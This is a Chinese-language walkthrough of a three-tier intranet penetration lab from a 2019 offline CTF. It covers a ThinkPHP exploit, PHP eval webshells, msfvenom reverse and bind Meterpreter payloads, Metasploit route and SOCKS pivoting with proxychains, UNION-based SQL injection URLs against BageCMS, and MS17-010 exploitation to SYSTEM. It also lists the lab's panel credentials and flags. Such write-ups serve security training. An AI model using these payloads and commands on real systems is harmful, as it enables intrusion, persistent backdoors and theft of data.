LOADING

加载过慢请开启缓存 浏览器默认开启

2024/5/5

CFS 三层内网漫游安全测试演练-某 CTF 线下 2019

参考:第70天-内网安全-域横向内网漫游 Socks 代理隧道技_靶场(teamssix.com)-CSDN博客

第70天:内网安全-域横向内网漫游Socks代理隧道技术_哔哩哔哩_bilibili

靶场下载:

CFS三层靶机环境:
链接: https://pan.baidu.com/s/1LJueA-X02K7HZXr8QsOmeg
提取码: dkcp
解压密码:teamssix.com

网络拓扑图:

image-20240116104222440

来源2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个Flag对应一个积分,获取三个Flag结尾。

环境搭建:

新建两个仅主机的虚拟网卡

VMnet2:子网ip:192.168.22.0 子网掩码:255.255.255.0

VMnet3:子网ip:192.168.33.0 子网掩码:255.255.255.0

image-20240116104758063

编辑虚拟机配置:

Target1:

image-20240116104953571

target2:

image-20240116105043003

target3:

image-20240116105115166

查看虚拟机ip:

image-20240116105608454

image-20240116105657377

image-20240116105747524

登录宝塔后台开启web服务:

target1:

http://192.168.145.147:8888/a768f109/
账号:eaj3yhsl,密码:41bb8fee

image-20240116110429813

target2:

http://192.168.22.128:8888/2cc52ec0
账号:xdynr37d,密码:123qwe..

image-20240116110949801

渗透攻击:

Target1:

首先对target1进行渗透,信息收集:

nmap -sP 192.168.145.0/24      #扫描该网段的存活地址

存活的主机有192.168.145.2,这个是本机的;192.168.145.147,这是target1的;192.168.145.134是kali的

image-20240116112348607

对192.168.145.147进行详细扫描

nmap -O 192.168.145.147

可以看到开了80端口,系统为Linux,访问该ip的网站

image-20240116112658344

网站为ThinkPHP V5开发的,在网上搜索对应漏洞,或者使用thinkPHP漏洞利用工具(通常需要配置一下java环境)

工具下载链接:Releases · Lotus6/ThinkphpGUI (github.com)

image-20240116112805387

检测到存在漏洞,我们利用其中一个漏洞得到shell

image-20240116120635722

image-20240116120849001

通过命令写入一句话后门:

echo '<?php @eval($_POST[x]);?>' > /www/wwwroot/ThinkPHP/public/shell.php

image-20240116120956251

使用蚁剑连接上面的后门:

image-20240116121131834

得到第一个flag:

flag{e2D3aFdasde}

image-20240116121159878

连接上去之后,可以用它当做跳板,但是蚁剑比较麻烦,此时可以改用CS神器或者MSF,因为使用CS或者MSF时,即使权限不够,我们也可以进行一些操作。

接下来我们开始渗透Target2。kali直接与target2连接是连不上的。因为kali网段是145,target2网段是22,二者不在同一个网段,无法互联,但是target1网段是80和22,target1既跟kali同一网段,又跟target2同一网段,因此,我们可以将target1作为跳板,实现kali和target2的互联。

使用msf制作跳板

让kali虚拟机可以访问处于另一个网段的Target_2靶机

kali上生成后门:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.145.134 LPORT=1111 -f elf >t1.elf
接受反弹:
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.145.134
set LPORT 1111
exploit

image-20240116122708679

image-20240116122842557

上传t1.elf:

image-20240116123015899

打开虚拟终端

ipconfig        #先查看ip信息
chmod +x t1.elf        #给权限
./t1.elf

image-20240116122932864

image-20240116123915282

image-20240116123143571

此时kali上已经看到会话

image-20240116123223177

继续信息收集:

获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.22.0/24

这里看到target1是有三个网口,一个是22是连接内网的网口,但是现在kali连接不了,因为kali是145网口的(122网口应该是前人添加的),此时就需要通过查看路由来看kali是否建立了22访问的路由,这里看到是未建立,就需要添加路由来访问22网段

image-20240116124309695

但是添加了路由之后就存在一个问题,我们需要使用工具来攻击target2,而添加路由只能在msf会话上进行攻击,此时就需要开启本地代理,相当于给其他人(本机)一个接口来访问22网段

开启本地代理:
use auxiliary/server/socks4a        #(msf5)
use auxiliary/server/socks_proxy    #(msf6)
set srvport 2222
exploit
利用本地代理接口访问测试

设置浏览器代理进行访问测试
linux:
配置proxychains后调用工具探针Target2

/etc/proxychains.conf        #修改proxychains.conf文件
socks4 192.168.145.134 2222        #添加
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80        #使用代理进行nmap扫描
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TcP数据包已建立的连接connect

image-20240116130418347

可以看到已经有22网段访问的数据

image-20240116131218730

不知道为什么80端口是关闭的

image-20240116132447546

但是配置了浏览器代理了socks4之后是可以访问的

image-20240116132904932

image-20240116132926241

由于是CTF比赛,所以查看一下网页源码吗,发现有提示

image-20240116133058219

测试注入(手工或sqlmap):

http://192.168.22.128/index.php?r=vul&keyword=1' 20order by 39--+
http://192.168.22.128/index.php?r=vul&keyword=1' 20order by 40--+
查询版本:http://192.168.22.128/index.php?r=vul&keyword=1' union select version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 --+
查询表:192.168.22.128/index.php?r=vul&keyword=1' union select group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39  from  information_schema.tables where table_schema='bagecms' --+
查询admin表下列名:192.168.22.128/index.php?r=vul&keyword=1' union select group_concat(column_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.columns where table_name='bage_admin' --+
查询admin表下的信息:192.168.22.128/index.php?r=vul&keyword=1' union select id,username,password,realname,group_id,email,qq,notebook,mobile,telephone,last_login_ip,login_count,status_is,create_time,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bagecms.bage_admin --+
数据库版本:version() -->5.5.62-log

数据库名字:database() -->bagecms

数据库用户:user() -->bagecms@localhost

操作系统:@@version_compile_os  -->Linux 

image-20240116135409130

image-20240116135455561

image-20240116135900758

通过文件扫描可以得到robots.txt文件,可能是没配置好,使用第一条语句80端口拒绝访问,使用第二条却可以

proxychains4 dirsearch -u http://192.168.22.128
dirsearch -u http://192.168.22.128

image-20240116140604875

image-20240116140042000

访问http://192.168.22.128/index.php?r=admini/public/login,通过上面得到的密码登录后台,因为刚才得到的密码是MD5加密过的,所以需要解密得到

账号:admin

密码:123qwe

image-20240116140857735

image-20240116141031906

又得到一个flag

 flag{eS3sd1IKarw}

image-20240116141059116

之后在模板里随便选择一个文件写入一句话后门,我选择special里的index.php文件

<?php @eval($_POST[x]);?> 

image-20240116143545936

由于它访问是有规则的,所以访问http://192.168.22.128/index.php?r=special就相当于访问special里的index.php,使用蚁剑里的代理连接,得到webshell

image-20240116144112232

如果攻击机是windows的话,还可以利用代理工具Proxifier或SocksCap64载入代理进行远程访问测试。

接下来就要得到target2的会话:

由于target2的网段分别是22和33,而kali的网段是22和145,在生成反向连接后门时需要填写的连接攻击主机(kali)ip地址时就无法满足,因此需要生成正向后门。使用kali来正向连接target2,因为kali添加了路由,拥有22网段的路由,可以找到target2

生成正向后门
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf

image-20240116145333568

接收反弹
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit

image-20240116145604657

chmod +x t2.elf        #给权限
./t2.elf

image-20240116145645964

kali接收到会话:

image-20240116145712558

继续信息收集
获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.33.0/24

image-20240116145943244

由于之前已经开了代理,这时在msf中添加路由,代理能到达33网段

通过nmap或者Nessus等工具探针目标,发现开放了445和3389端口,且存在MS17010漏洞。(永恒之蓝)

proxychains4 nmap -Pn -sT 192.168.33.33

image-20240116151714884

利用MS17010获取系统权限
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp 
set RHOST 192.168.33.33
exploit

得到system权限

image-20240116151953658

shell 
cd c:\
dir /S flag.txt /B 
type C:\Users\Administrator\Desktop\flag.txt

image-20240116152244398

得到flag:

flag{2wAdK32Lsd}